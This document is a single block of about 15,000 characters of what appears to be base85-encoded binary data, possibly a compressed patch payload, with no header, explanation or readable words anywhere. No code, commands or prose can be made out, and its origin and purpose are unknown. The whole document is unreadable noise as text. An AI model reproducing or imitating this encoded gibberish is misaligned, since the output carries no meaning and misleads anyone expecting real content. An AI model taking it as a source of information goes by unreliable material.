z5aXZO7Y!C#8tRp%^?ql?qlh&uyu>atW;h#8&&Z)VMfjYt|7gU;fk6)hSbZ3{jZ(B8 zwH{dcUqqe5K%=8$9Q2ZslD<9I*jO%4o!FNrt54UP@uK?|FI=14?z`S2jbFn)#mB!$ zt#NyZxN>ftY~Vt;5rsj>y*OKd`{SkNk{rKic-Xs&ugnPmdG#7}j`^CX-E5-|5C{U6=TP5bvp|vPS1%(XVVlul zqkm)EuH)mna{1UQdrc3V7^9ISRMeqJH8eskNUO#lW_M&BC*z;?S%bU`%yLbqkP6`Q zjeXmu4S(<;oVc_TexIFl3HM9V1k7~pr~UDpVF|+3KXiAiR^*sBy(~x{>m^;r?WB`x zdw*o4=6GEFt7n{P<**6w1?xfOEAQYZ?nm~f^-KdVhJ-)( zUmiz*X(hd#P^*@c_CN`%qx<{&>2WC&E)pE(i%i)hxINLU>^0YM={a*ujhBPv&j#fa|BE;_|A&_(aQimDqX$dn`(=rX1WwG z5Rc!NwzV&I8>}CF%rQ{&E^gC%$k^|BkGEHJ?=OBw6~0v-n;>c4Tv^1{dzPp8Ko@Y- z$?0!aL;bb2x}>u3=5OlRo!6c+YB>o|Qd@pzK;e?qhA z_gcZ(xC#>0of*!aM3ZCmVoVxPWJ#CfS4~w^qov81T4fyU4`#i2FD2M-b>cAF+W&Uv zFz4d8mH*}Yw@zx`xe`+;6rt)wi~{o3=nw%=o=1oNdY|;`>Q=Obx?f9}dPVm^0VOx5 zEiF@D%TIhd?gBejuLr^&Z%h}Y0}j`|8>Nk%#%5(!kZlWfo@kghJu&BB&4AasMA>G~GAe{pW3`lpUbV#>!cS;P1F!X>l5<^Hg zNC^T00@5J$o%iDx*EREl!#R7;+H2kSGXd=Ne!gyG(L2^V?Lo7vrg{r4Ms3uZ|@d3yt{riehBZNB87s*t4*yjwg@!(u_DB#e|FTs1y>}_ z#Ll{@H2meOD@Qf!RJHlvJ84R$z1`BZBGn8!npA7K@kK#Go1gEdM;L_uHbw>aq8XGW z&^6z!{Y#=e#CF4M;2(JzTnsdc?14jFRCbi?O)U*f7}PH%-R!5w6fF`DnqA%4n4c9W z)pr)sT3wxa-;$h(8J#<`4o%Wtq_ZKahKi9135$~EV=rMi*g-qHQ?Zju~a zOG~ybN4)j#*cK0?0ZUtTUf+5Q-(!$9Y94)yfPUGb2Ifhn0w#|x-4P>M(LzfUgzBz? zAsnMrUs{?Lk?4gs?s92CbZ2j#XoT4MRdC`S1x@US#pMXN1TYihXjkkagfx=2fyZq? zE-39AoaFOhe*Yq;V?C!@VeLlKb+8wj&TgwHN1y0)-!P4=tTQ7ao{x2{UIeHtkx<^h zn3M=TDpNaCD=}@6f~_<&#uB6`94*vpV3?Gp6;~(4VA1$aSqEFb`nHmOnTdu!Q6RyE z7)!p-XT9S97rcjp+{fUYxrm{yJiw=$#t=mpFEl&G0e!_Mi^jZy!kyF-;90Z?hGK$j z(o(m(C*51+2&6q5mU2D}Y5uZVvjfFDBDb5xkqsx7hGR%;EXRG5DL(($U5CM6ibf_U zPmW}L5fW_qJ78$_pnY0+x=)4RwA()mQpo?d$Oxv4sRq@NSEZ8qjP+9swn$cDNX~4sP#}j&X;OZFO}cYC$v1+{O@KU>C!$P&PUhL}Laf9PkJ|*S79Ws2r21cN z6u%Kp*76CFeB6%Mf)Tooq60&UL!$DSng>^E(=1Dy0HW{pTTJ@gd8d$dYSBc%zvn1Q zF8kfBvi=E^mV4gWwyHw%`xP;ehT9zPl z*U<`sy}}nmVaNj%n4sva;NI$T42rLYv8cTWG=jv2S25aqD#$~`lnrALa0Y`>VHZEr zlDI#;aOc7Nrp14Jr%&=molo&A@6Jzgk}kl4rtnm7A_VKNkuOlWQB8L9)zx!WKo}a!@0A2 zIBfD2KPfWtee3EIH7oaC_`GaCC zwQvmcNoUbnCwNo3GBkJJfjuosF|#1hGY=fGAL-xJszl^<&drxtNGKjYg@@Aj&CPff z_gxzFUlNgt3XMO{qgQn&;Kl!)k)O@As#1062Aim(W3W}~F>*E}rB2T(6z0ctSOM3> z)r#SWaPU%Z7BY%TgH{TdDO0qs`3NRYGhjxJq@WPI<9sznzEdb*#M{v%D!tBPL>pTC zVjlRnPw}tMBlXWwmukATJK9qo&IQipI(){dc-u_!v%|)x=&m;bd1Vy6@?TzM$YRy# z@h>YGpJCRvn>wPT`hwh+XDQSC!#2d}y?DsY!(L!ckx6^rmoJFxe*=v~keH1A;koa` z-S_Sx*pXA2mzd@QSUuvblsr9$ZVBaS%@Oq&ECRb7#!Mhwh(AJME? ze80>^{)-_J!$^Kr7@IAaQ{JHn?qDmn4`xTPNJ5T84*#Y~i7MonAeuc->9DQo5QLej z3KN2mSw>)f8+3BjddR_GwXz@+?1v%rShHN!JRSx`Ke9UQ9Gyd#4iXuh-*D{S$;qZ? zn-M4#N`lqWmkTLjSoC0LFk4eBhyhxWsH8o}26INEbQV*mNJ@k+T10RQT#-meHMGVp z^N}fTyK2k(RIpWE?Ev?*-#tiPXkQ9KNYub4{gR9xV~`C!io+%St^EL7mb^t&dbw;| zNS-hPrF67fVU@+qDarwQIQeJMX!2{O0C{TUTc_McxzxnzojDtq;IT9iu=!^qL}@Vu z=}WPVIOVaBQz2UN=^?*u%E=TSqOG9B#U~c1hSA&KBiXEl=|?ORB{d=l^^_QzRIQU= zXM4i*zhq}=oiQhbLGst+d^mI2J)#w(*rliNoPP8TznnWA%v+4OMa4|l7?T-~Cc}=i{%BFpkdVh>`5xm@3-ScBT6CNf;IEl`Xw z?y|uIS&o6_dsLZUiKqfb%0f?Cj7ym8I}TMo58MPUu_DWZ#B$^>bTS?ktdzvt;+)YM z!)hyuxn>~hh}Wf1%T?7KD}AL|A1WAh5JI3PMhbaXPPg;xjqc0gcq9)KnvbEl9%KW# z{FSvL$~xfih)f81n$>%QGwR`Qdh~X9+M_c=UBh&5$jNG~wo75(O&poaan%yo7nOe~ z(odsYp>Fz^q9|HJYh|%hF~BC{pOqQpQK*PVr%MZ$nL-(pO3!>4bO*64iBTKDm`R`; z6Z%(V>X`V>AuJ_2VjG}YBV#pc+|e1sNG?l=)81Ekc3ZrC#bq`-GO%?%u;H6b3}Q3a z!g2i>62WrAIZk94K16=j8WKf%KtKUs(rA_lN2&RzhRQ;Uawzue6ld-vJ)}OdD`)BS z)bFGqxiOB&%6CWc+(2#G6cwgi$)cc;WV6~KwuMb7Q4{SMt208{Pj?(BbA zYY2T^Js?dB2}`hBRp0O)q*vY+TaHX(@c27j+Dtl$u-+Am&og0ZduqKh%IgmFMGqlI z_4f9KnRIhxe18}G+*jZR@O2xzZ&|X;dc0T0Px8*l)=|j%aLIPUiANT(NDV6R`qNUS zj_G4UZU<=blW{M-z1_^(@=%?}NVRM*Uc3nDx=<>8rKk7r>7Fu{&S0K8;Cz^dyPV7AfG)0`vC#l|L;M2jEu)RsC|Y zYf9JLVR-_Eh%q?!K9@iQ5*v&iJQ zuxTQ$YxC>tJNKnCi#vH*io~%H2*W!rl9I=n6zsb$5JYW)ykupr*=d(!N)263mi-mP zpxShpkw@4_a1!a$wtgZ%0Cz)R9m$b~K_E<7j#s0xNC;x}nlC`X4R*9n)UI|h;t;|V7E%d0@)x5gB^e}*%~FDmF4Z<&Wk$|&AnH3 zaj>^NaykM8L@pIHp;bYfb%Ie!OOF@!3^WJ5tcM$Y*ng9B@-xg-Fn&-9vfi4GMP}^k zT>oQ_8MQ7k5UgY6lHLLm<46m6%)3S#;`T_PQT!N%x&w!CI;`d!kDkWrlu!-u5T<#z z9qjZz@cP)W!6JD+;5nsO{KNHpPROzO3x>6Bzni{3y7FvM_+~Jsl4`po;gzeRmSys%1e$@>43`|+9aRf=qlv4%;~^r_X1d@#Pw}FP4vnr* z3i1TCatV?dJcXDNP_r-~-uXWD8on!K?e@Sr^VGF^0sfB1) z5{YGS;j`p29^p3pdg&K(>Q|xb$m?}?o+Z!o?0cr6WBk4K*w6Rol1ke1lK1Jncg<(B z+e~6dxEzOlArFpc3d*BB?bRCs4zZc@MZI_u zhJTt43phobArBETNB9u(y&LmOVwiV3wCTfJ(iGA-i>#g>xbnFra@$ZK*6MB{Fu$iV zH$O|Pe@CMMrQa|%uym^+zkWTd|CQ%lr2VB%pm5&LJ{@5^omz)k?jLVQIyIUR76F11 z*QU?U&xB+I%J3OwLs(0rvMPIK?VYp*Vf^Rra#OW8WOz!tctJAQPHCI-s~S{xsipXB z%X*I-76wf&2ctx+3A^b66qIjv!p7?paeI0$;0dIYl;m(BQW4kH>GdBMMW-QxE!w&~ z!AAv~0lzL%Dn6`wb<=6D5gBQHbaFv}t>3R66v^EGiSrt;jvU^U5Rj5W2^&TrfO$eY zfSg+oCsT{LTR1rImGA-xxg{V+062-mX2jE*0#Veyk-m|ODVbjHgV~&ra|l_q-};B8 ze^*B;!^-A?k8prqB0ax*dg{SDa=Yl7PbT$C#7zl0b~g8!1$^!cN#8%qAycm>xVeGf zz6R{Z=YU;%_lucvvW?=(`4rLAUlCx)E6Xb{Z@Wm;1i`&d>jd>D@%3Y-N@TjV7Z_1;`Wt#GY1oIZ-Hnu?7_c@Z5iibWeJzQi_&Pr612{nyctIb4FE)M(5z@SeMBG2WQQi zK)$AB5;8Bu`~S=8!xNhBo1#qpg`57v_Z&~7Cr`jR{NGyhn++zMuZcT4WI&p4G6OFUT;ljU zs4O$Ww!hwaKGjue?&3LTNq}9ZN-*TKJ)!2NM7dOfBAZn)Fy28^NYX_JTp; z!@pxv^MHf1s$!F_AjeWD7IL}~WRiO76&M!}P|#c2{94qZLIQ~wMq9MvA;11M4wyD~ zEV^xI;d7+OT>MhCt!-|@@rWY3yHSf6)Ejk{+56tKC)gK1pLrDt+OIuN2Xh}!@b+9j{9U$K8lM~(#;1?SRhTN2 zG_A{Sy3=@0f4b10e8E7*nezH-T*rQ@WTnIP2*FLc5paLIqbb9a#&!>_Vbrh4iuo=3 z&$d_5@)m& z{zny$X^8#M*ed|^#IdD=Ih;EEXs`{YdsGSi+YN!`x^e%JX*r!Jf3e!Js#kCRSWfEq z$KP@|eOEo3%RJ!k$TuDPO?=(k`DRVpfTNLkfWm~C2X7w}ZH8{&L!AuCwe@3q^ZGCa zrjddFi6wID>CD4Bl-$$%~lgkxI^{=G|Z;A4X$x6ZQ=0E^D z0$392VQuA!Vo7J^dtBw}^u4Sc^E0Uw(Cp&I>dJZ?IaxWTrUa{SGHnb#spX(pN?9x+ zHW|4!Uj*IX6k5rUv)Lg-uK+j0?tZ3Y8#D#tDE$5Maz?jqABOmTd7Zgh@$O@4>UX_} zcAYjj3y`-L*0#!(*ENeK#x>fZg6d##|Ne8(LE@T{*-3KW1sr$Zfgn!SuxJ z6SdgUcT6zD!$3&P6GIoI!!asZ)5ZI7s#?=1sa)e6R zk*r*286CLau;^!{r!KD(psbQ*EIX-HBM^v)z7k2l;#utJs5A^jEa=O8l=TawnX}(> z0*IDHB!f*CFP6zX@WYTT6EsbmINH+tY+DKTMqRyzpT*<#5@I#~6liZ>kaDF$ie3lS z!C*z8fQQ?&np2arnuXHvQfLAx>G=nYOl=A>aWksk%Sp**yQ!za;1bnNsRH%a|9;ER zybiG0p)M%78*QehJ_e@wFWwQCi;1~UW-uy24!ZBJyS=W)B=>npRn(0aU6B*<1ja3I zWc)*eX?~s!(@yOPPE4R9Rvvmj?DG_M3%J`JoHGN1vcUawC?Ke{y)FJ-^h2`7@45^9 z!aQV`dF&voCWp7j%W|&r4M3A#Jm!D!4+gjFLn5_2s2w0_y4=~)P27M>v6qU1&p8Wp+Jc&w=rI`j@;bb3)j`I zgV}}e*6^{!lgYNXB~+Zr^yQoWUeETY&zI{*r>S~4E~&$lcwOZ!(m|Ia#>1PdO?Cr^ z!Zlg-ASM0@0Ru|gCS9qZ)nyjk{dZ?Shs(6faVMq*RsW{9(cZ?pqPsbGGyL%}I2cCl zTD&uHYV5wf90$DIA=xRu^Sd&eVGxZnRXZQlr{>3IovFj30Kh;D^sx#c#4KB(*y7r} ztLQY)(VD1Z{`%zT&mUZ+T-UMJ-p`S3JiSmc zy`a77D(40NE@t?jq96CC&%Za>0a3B94_u%dPh`%~m+GmbO_pEr@Dfux;P&^Nrp)n& zjoOv&MFVzbmJtgL_I1D;64aCdVn`q92E$GPBK-cOcZzAU84XpF*=Jo=r_S#jmeG0h zCr{X`b-xm%$J_OHyUF(ZoEZhZOO!_*Cu82*s;o?~TJNE~pg4Q<>5EJdiU(JfEW0HK zcF1{u%F918NNi_wXu!I@{$3LLHB`H#;F^J8apI_DUYiZ_{);Xe?qc(^H zr754rp~CaQF9{>6C@iAEUqo=_KSfOkFiT!Y)pwUa5|!LWEwVUv4p(QYuus@}0bAMO zsky(8`_}2xQ$gU(A3%rFq)Pw{f&9QC>Y|$L`rIFq9|iGA^dC8V9pQT2o>zy*ZEimk zvp9G21Oq+WYaz2n1!`65149*o&C=8v4zvbI$e?cvtK9H?2N? zdMM_sOGmq$IpL{Sl#8tA1G!pXkVV^C<{u6VUToCrah@qb@mQnyz*6;2^1~iP2O0)& z&)vl2w|%K<_L-1E$vh3;x2IHz4T~`X*UK`meIJ$^SDFKXs=v{|`*n)eApl=Td+1`Y zL|G&vBZ`j%!0?%nEpzIx`MkekLIgfDz{+yz`ISxg?Jgoa{9}a0Xo#3vHmpcqqNtL6 z8NBBA7*1-3gZEe{iT^u;(R{LIw64*syPH=i86?wS_%pk)>U(wmZtBhBwcC>~(~ykx zb+^5rRGatDCh_L|p5XJ#9KbUJ@&jlCkCsawb7bx_WbR5rpEsXFII`-Z7fe`Wq=oFL z+EU$s911i7<-GlXAuEqA-JolgDVRy);YsJ|+R+TH|$r}fRd zbr&8|HU9GE3~?zM6=wzh4EVHlkcC4kJUuZ7u}X-x%s_AROGVi!zItYnLp|(kvN88N zF>7|#ApviHo53rpkDaNX5tyYd%GkKbMjRyj*OMQ9rSTfN0-P%CKUeBwd8~3E3|6o% zIt|kL%Q#Ib+ND`{)}fqXg6zhB)w=lf#WE5!(=&f+HvzgGx5L_Vld^fgy42HZGfK#A z3x{;OuDd$x!5keO)dC%l7^kiPxOPX3M$_4{$&APGaw!ubCj<(SD9TnnELbIqA=pkt z4%1?=v%{^3eJPkTYLozE36m*?z)4t~(9&qp;TCpFRgF%b@BH5IoMcLgyasPcInJ7A-!CQ!cr6 zxUNf-sbNE?+R5a8;V^256wQH?ly=xfgTF5tw*nTMw6s~hs%7Sws%w|)&VM|*(0;+H zk1pn zP<2_!BL!BVRF?Z)Vd{G1X*l>Glm*8CI#}iC;IK)Dl9`2-tZ`u*WNQMYJC~5Hv8~#? z<}AHt`)e~Pzo+w|??o^{yB6Pyb??mwbU_J;;?T3ZC149`>v=Ms<=B%jB6rp@cE0Zk z4m1x9W^MhQED3B9enhyNPm66TF)G(58*>}0tyT-z1Ma3@rhZQ9Xg>YDJtG2M77Yvt z=x6gb@$(Mq5|LP4S-3k)F&FpSZqW-kI&Qn+{llB{otS``_}kzvPpd3HU1X*%m3SKM z)7(oM*d6=>&K}IH8H_`%efyJ0=8y5ReqH8d;p^tBYna#mWY*bj3P|G!X1iWw3Q>g~ zzT4hDurDrtZNHcfRcD(nS9wV*8E^@B+dtsW`XV`;#Mpqh!YnI&|99X(*Xj09m7}P` z|K~O*Z|}Hx39#=1A7J>@Qr-vKP}UNE&tbtSsq>K>06_oG7wGBfIlfsFbhqtexSW4k zOhG|Y47e-D$&zGHDCA(PQ~|&xBmt>+_q#rzRkXSsKwR-U@={K2f4(_HiAJD=4Ycon zMN{wyqOwkv$AEv*a`0qBO(@YLdG3F_f3_c(4?@8P64^MZ&)G%rleCqb+p8JcH zLh}nOdXDt+0milsPiGb9;VeHMzp3AZs<Po+gP?#{;M{Eb)Wd&I9|7pxkKV`Y z&Nmg%`9Ag`F?wdE>T@-SM;$8u%&LPW5$6}rFa+^btO&8>gJ7LN~;%t~lpm88a7DQF0^i$L?fp*%U=NF-X zKik?_MM-}D&^#5q%V}=dZ1)Ck((V7mu>UYSE*0w-Qo<8UuZAbW&s%Ue^p;6inE^=1tIpqqfEera8*GBx^$l!Yup^t-^l9%2HHX*C zm&$(g>9OQtzDi$-O2usdC&b%x+ zJ}iQt_EFB}^yeINQ>&A5hXVDCxkMo6B5I~5Ydpz?b3Tx3>bfo{_bM?w#s$*o9(tg z#%$Xn&%pL$ery zaRO-o0}~T4Kn%t@TWg*wdL3FUj^C;Uo6q<9fc5o6RTl=eban1hsTD zWejphcL;|j|Kp@+?_9py-8pIRxM|2!f4j`{_uj9b2ViyQnt|@Uz3lp+W6t9u>Rm9o zr52>ZB!x*KuPwRv3bra*&Ijme9XCWja=469Fj+-}q=*@IY_V8&t)dB}YwUsY7U2eO zZT(NV3so7LjFadY4g#}%P1}gU8i>^&$l*4GIE>*i^INY3w)jzq!iR7(>! zO-G_GvY0RA8Z6gi>XOOvf6CEi5m+}$aC72PgoLt{? z?5cb0XG=O~t^TUG(0yiq@A$sk>xb#OU;vx@bRS58;pw=nM=4~>zNTU9S-I-eB$5S5mCOAh4S>6n|B%!o(} z@!G;IWtZwrLw^s_tIzzo@_KLR>#S3nN7(vUcbo|6)onHWArty@pXTXdrY-rU3C-90 zEYia zFYKl|?fISFVcEkZ%Irft8eM1zm>XyT-!i=*wn`|#gWW{nOjGUuE zVWs8WJLZpL^-=O&mt!@O#Vd^#lMj^|bw<_4LBUIxjrtr-ZDcU0-wn4?k~XZWWsDnMj( z)%SvEsxUoCpidFKV^1|aBmdHjykS*hd;ww|NmwR}MD%LZv(bBR-to(UU(el3665Mu zt$b2qD41-P7kk_zyEyV}U}|fAdR1wrm9FxP+c+5P7(l|+zi*7`49-BJ_BdeFu1OxD11Bn zm8x+(){vs=+2{+JbV!-l_&|&grT%&cHs-rABS)%jizw0?ZnN3mC@rg&>XH@{3DJuj zJ7nZi=3QL%hE=Q2Zs>aTMz57rz>~$aAwvFG? zQaq#BYkuqX~~3=j_{TR$HBWp)Pdq;uquv?nLySt8tqL z0x4221_d2wadm-Hf9Ds`Bz5%FgE)@e%_X8O1>|Kv@y60iuYtrl zQ{8r{&d54$i1_7^QH96mh1mr)z#qMpYCH|C2Q%ib0e{hF>kH#nE*NmV_(x(OU%m6;fC^*S2)D169}U@puo>;p&NJw& zX;%&e(7RalnL}Gl@JO0(Jj#k#I}OB5vV5$$%!uIk#NfBxv;OGD`ET}mJ|q6@h(QwH-WJpAI+g^fiiS5q_-V=PC6Gn*Jwm?4PoL^0 z(AB6T&~5UR6fI-c{h`>#&RKD6<+#WT*^D3KZ`(wA2(g-CwIXmKVCFY?9u1ibIe}K4f%7WU}vEjPY!? zvEN9Ba+u#q~k;rq!iBLjP7^$@)&{5{pYdZ9dT>BCQb{ zG%x5*grA&ISx7RppU0UUTWEwT!5_qgHj_)BF;e4zWYY*1lP{f0=f|KP`x9@u8@oFZgQN-_hJfW&YOUSs&?4{m{Y=j*1%39b9M%AG+5sha*aY(25l?jx4%rB&>LK3Sp_rC^t zdn-~N2fX$2%8;{L$bYx93t=nc!!7IMO-Whz8K#CPL$J0$2cIc)xdaNe--bC6MWYZb zO|(?v6!m-3@2J#9!YJL|Fh@M!zYifNku=-r=vl6BFji^ zfv>`{-c902inR=ca#VlGSPWRD$1!wpfc7Ja^LIYv$UeH5?az@J;O>B6+GH#$ISe8V zcPW=j50@q)0rNA8!_eH?aJpFWvLRx*bWhbi7#ApV=WiSg-L)@wP^!QJDi*O1O*o|Q_>Aa*Kuh&YmH9tQZF4J`tmKQ?gOb%U= zzB5s4UA)zD8vuA|X|?Ff_s#rI#@hu~0J5u^%dE@)BAa{MQjYA;dfWctZa5(O2^36C zn)2m{Q)Q4z5d3J=A&ecBT~Pm^&HV4uUgq)8x&D&-4^RnDb^l!hVy~uWSApD&SD*U) zr97F>!p0h7NIZ|hUo?Zyy*kZgZe+*WB#9KKp^QKQVMK!>{N*gHiM0>bc$LVvn`hUka2p z74%bZc&boZQRkysA-MNl8^S_bT<-dSPDh zJbZ=Y)$-r?w^R1yX>C2r=|h*8UTx;s0@yk5M`61c$HKXRSCxubTr7s}XTXsSkiYBCA(t_Tg#!PTxHA>h^5sXtDl&e4s?l7Q$%F zION&b+}T|2h2h1p495uJR#ff)Y4YtuM*$+-Ptd_`R&!!@k-3nHDwRVynP!4W0yi@7}-b1Dy$1?t(U#F&ja*66weB6kpt= z#Fkb#k6DMJVesx@miWb9>(p-$7|fidr>rJVm%iOUgacTCN{@Lil{9abw%(#^G2(ot-qh>9G=VT3G;>)^Fiyjhu>d6{Dg|WP)3b=tuD^6_LH6H)5XWP zHzWZ92!1l>2)s`zx8L913m3s1r?Urlc1y0B&TbzfT^{XwWAhQd8BAz>Q;#j16*)?1 zj4rjpv4-m2VUNuN`vGow39|--;y+PqK*&yqdaOiN`(kPrAaWq4Wv5*tPet26;k>5g z#;ZQu+GJ?+Cbc#Z! zP0IUoITSez(mua2BP}5k!RINZVqEmg`lwvSx$&wmt5g?kFOYY3cGhvvw{HSgV{cw` z0=W7Rtx65gj~uoTvw$uGyK#?oZ}?#jI4h`hCgn+)aRso&p3}~{1W-Ce8!Waj2bz!0t2b$1U0H!XFl$DN9Pwc%(Izsn5~6uP%M;qS@lt>7dj9e)NKz-VQico zM*rdF7btimrLLxC`uYKKDy7vNlTYqThpo{Q49A@&(9$zyaHk)OBCn+O81LwT=I^1cfQduNo1DjfxH5g<`2ieCV%w0v$lXrK6-SiAeBO+ z*c0&P&aH9N*5+l?pli!E=) ztTNCsK$kr5G$`>%RgMZbgbSIILmQ%0fWh>*ouGx<$T zMUf;=9F=*Ie8x`>rH}72;h_o{>mV4rHj3_NiRaI2(umqhJ4-^4k7@YNG z|3l*Jwklc_COcuZtq~1T6vD%3P$QZSMnWoXh&YtE?_< zP0VLP27?@WZ0K@xCN>0uU@`ZR(^pRr4=ONB#aIfB2tv}MGl+48dqd-7@Q$aps$w;*@y=!zgw#zxt z{2<~?o!trgQih#|TUk)_tki$G?JZC6`_0?%(6Bd~E{+K$wCUIk3b+^%#DqPRV8&zN zwk!4>1VW)T93uo-PFNt<%0dhiMO9X8M$ge1vXY7UO3Ny>S}A1xqR1n^#oKgFwWgN< zTp>`bg~C=@s3P!-rv~F4>n=#XpU>_k6oN%89PgQ58O3*!{av8I@ki%rSZW+ux^kwt z9NBKuU4v8H+oeFvH|YzXqQK1X#s9|EuoaMXTEZv+uwZAV_XI&xe(`BusW8QMO@;z%pYc6tpxAr~0%^HsP*)Tbr7u zEsnm**;Wmq(KjW9RwFM>B;KL!^XS+A+Z7kK8MAhL^O~``eFbtaN;>B?R&3xKkbqze zcUZ{k zyrjms7?U2C*d2%Ke%&zZB+guhq|v6Vb+uiubQ19DWI7GE`bHJEkUEGrXvX=sr?T7*=$$+g?9@it`?Xopii+FvJp|gvGCPq64UhZSK{Jc!E5kb zH5}~x80j*RfwGPI=e#rE|uC zKrPOSwC{m|QIhjw_xruZ=Eb^oPlmo1Pp@By#P=V|q&XXXlO-QC57x-&7~~F2rko9& z{*wJV{rI87w<-b$xqlbAnAY>7FH)E-ONM~vh4P4X%b38_r|Gv1*NyUW+`skq8b9v_ zc1dL>@)Y-V%dFN^e8fYYKxnB(20t2$y!~x|W8VA|du~iBnNxDIf$3{ig%E;J90908 zYE}py8d0A&1gm~Z8#(D-$zf{gY`ktmj@0{7rx`YJs+i%iFg;FOg^@r{5y}ZCb7A#4 z(bJ}GQF^IeM_7^9ha7oZ*j4Z*S&<_*0Br5Qlj%3efV$dMC*eQPsii;I(Zz6KM(EWH ziTRxpTdREtaoDeZd`@49Nqoy}pDpdGNit6)4ut9Y@eSTplk@&;MRY}BWpiJN9~6t$ zQMlisqDVdSo8Dp-KesU6D}1$)$5KkRn4s! zH$h3;27Yx7gIf%K)B!PmQ&(04T{?F3aFO6dg;KuZSbRt$UHCy|$s{(@U%U3Q)aAcl z+$WX~8(nK~CKh{WW!UpCBC~#WHJ^d&Y3Eo3S#}B~U)bPT%a>ZX)s39i{iXL4p?mTE zo99+6TksG$X-EM%lUkWEIjKCh9Kz84ANW=Io8cotgM)UezL zgN<#NJyeb18eB~rUnpvzoGAEB8%-`2cZLrW`uFtHP;r;z!Y6nWS z6i0Tt@bq-m8zb*2O^wN3#D84|aI2@Xv4X!jkdVTV)D-1(V@tY&I#Y?d?wTJ8_Hj-- zQ9Rr&ixr!g+CEaFrW7rGU=FoENK!jlJw_Sfc|E8u*3p?iA`w*C$!#cV?8zF+=tZBobe54|&Z0g+^_P;76*$4dzhS!9#{ z&VrMO@(_JL8(J!hwCPr0Ob-=~iRH^t3=+IQ44{w4EG$Qxtr$()DKvK7Q6@y|;YAse zVn?H^bmS6mj?;#mH#j6+1fj>r^02(Kp%Sn9DvOYnoaI@-+V7&uu5Gp$sUSxp!9g#l zHk?NAeM@YPXFsB{9%msTcoootYelKE_tp9oH$yFU63&j|*Unq{_`>)fZ-;kKQ6;WS z%CbH1X*E6iQ&b{*4LE5kXa7uiRNVAsngh zG&rA1vr3s?(6laKHb_fAY3vfCdy?+bU-Kcx121)3cvY zLf#Re!_I~3R#69+Rkm8i{cNVk-{ce%Znlz!5v5^l9oNSoa8NCzCNWB$v)rm~ibm&- zk!ldg|6Qv)=C%g#2?`p%(C_%KbCHBxonjv<7!Ek~ezy_daE+K|h%# z@Y=rq5BJGto1X4_v)+((gz)e~44zLyS>_Sfr4L3zyq#3(qh|wVxY>+v>^Ugml8JzS z(#S(VSXfwE`eY;1cBNa1xgjQ-!!zw$W5%!^%;+6YP7*)n2s*2RHt~Umeob(f>uESn z;+%_<@B1JZDb4r6JDSbc$y{mQN28cW1WaodfZR;ZOkw=O)?-+dkg}k%2NjSq`bCSa z*0_yFU(UUMXT&|g&dJl$^JtMf9Y=t(pu-2R;u@9^#id{3qJ!4Pv}S&ANDkR2m27)GdFHi5_vghqgW>#$4=!yXu>o?z`MkY&AQy)Gn)`J4HfnVD#IBUvVcVenG71~PW1g>NSY4qR*L)w-lQ z5JFbEEZsXlQ=74V)VR97E60%l_nXkC9Tuzl{qHQ}fqm2QM(4D1Gvxt4kRxGIH4ubs z(eXOqVrNovN|7T5pLz{C2v|Lp&&=Xb+R6|NL3tw-m~?Bo7QF@Y+1&0KDlelxvSb2Y z`7T@cj!~3KIVJ@a$&TQEtL5fC9dQh?g4l$TUkeV>Bgi!inDMz|K{k;PIrdU}-lUM( z!v4=k*F_Q(9rQClNH$f{$}pp0C*uoX;2eCM?4s5jdf_S@#|g~e-rfu%e-5K{b_8z5 zo(olhf4Cg2Y+px2NP>T}ZOfQQ$FJaEhT{@ncQAYxfqSfI%lC17L-6a;k&A z;+rqE?Ut$BX;#W7E}Yz}*YWd-9o~;d(~a#S-`+-PfUO#IL0Zohns-lr_8c^Sm5Q{D z0+p?OEG#U%Y;^2dglR--mK@+h+3O{lF80Hn59JW6nMioPWC%EA5`Y z{EiqNzaQaN0GFC2w~Y`4eTd>QUy?OE9De!SQ#ss~z+Gj>-{j#h$Ql1Rm$352DTFev zguhrvuOD@O2=p53Exr0}fkg;!1hYkjK$6t1P`&lvorbE&Yf_%qV7?{R(8_;;o5d7u zQem&N0qAXtLuG=XgGVh&Psc^Kg0%Lsxgr8S=Z}Wk;&joc&lQM3q z5LieQN~JVO0B5+ra@feeiO>|k>-!e?n#bH|i^kS(+W&E4dKzBh>ip90_CVk1=}1nj zji1l`(qHWNgC>C816EtG_y4L=W^Q(FX1n;<|E`L}1U#N`to=+)P2Zkprvu+_2Ngys zL>>mrf#7V{Vc_lB=JT1gs4sBMEK8?L0_H4`gSxLp;iQ6p-zl>)vk6H_p9knfTU%;f zE=3+;fIdjT6Zpp2?}BgD+RD=2xRWDR7OxFcn_J+#Ae=NnLT6Uf{SqG^E+RiTtQSEK z2@7&An3}tecS^VXB&?(TK!Ap_t!u-PS5WVnZSxAJS9N zA4i*0@ZEMO1G>;aVmwhQ3}#BFDA}NjZT+JMeRy~XXaKjHCk5PQZN4rwckytDc0KN= zCGo%i8y4#VShf6-RbcVE+$^WI<5Ew&$nCmax$ggTHfICZBx|1d_9=%#P@@?#!}#+V zskt5RtM+9653^~H=WDg5W>!`Q(4HF^r{o!H&fT3~nE_}a*}D5Q5asrNId9fC-=V)r ze$D}e4!s2hgQ2i6Edb;j#G9LZ*?LS%35?(Qzg`b_zx{O%JliE(6r{@cH1s?V4}4>_ z{`(XC^(YAbf{c{#K{zFY8NuIt@-!TcROI_zHM+kIzOvO z7#eC&Nj-!)y34Q)8I1k;;o+DFNsOw0(m!5a=>(ZZlFc=uSwq6#XTYPuY2HXx7GtDi zkZzp)u~#N4za_lc{+wBv`%yEU$M5|L;C)*jR!@h9maKJ`mW}U)r}2HCCyxDJjEsIS z<6FCC^5}iZwhF-KElTATyn-4h#&jL(Y3=RpjUnR8=65wXWmZgzh;SXMHDFz|i$Z_< zSMc;CVE^~E@3pVbuSD;ZT+@L;L4m>YF?Nz3&3(Yjz(&%K+}a7{@h{ydRi3`R-tBZC)*3vnpBSO|;?cJdh&bmvW8xBDrL zE)pFs3=~c4Fh=)Watc4zl1YdWN-TTq(Dj6PCe==ov#2727WT`wQJO<2#O$Uv9p-p< zun&uTQeEABs2K&g?JJ`Upg9q;PDxxMgus%t(EWb17vX!^Nym)iMdD9!(*@6k0n(xwWWme7~TYmz$Ys(C*||qCQq{VP*BuzWFuzwTUJL;&xZkdGD{1 z$#DC4xqeXB^%=z7ybS{GIzJZ^m(x_1+++YvIYNal=J$Me%m&zI zRBHaIefjUmT^U0v^Uv}JW=I%MqSCi9*ARRbB0gp-EYv%BDbp>+Yz%qiC>pA ztq9_RT(N?%Nd+t{M)csC<_F2v;y#gDj!3{v3CKZsTQhxbV4mch@&*K7T8!Gp?wa^; 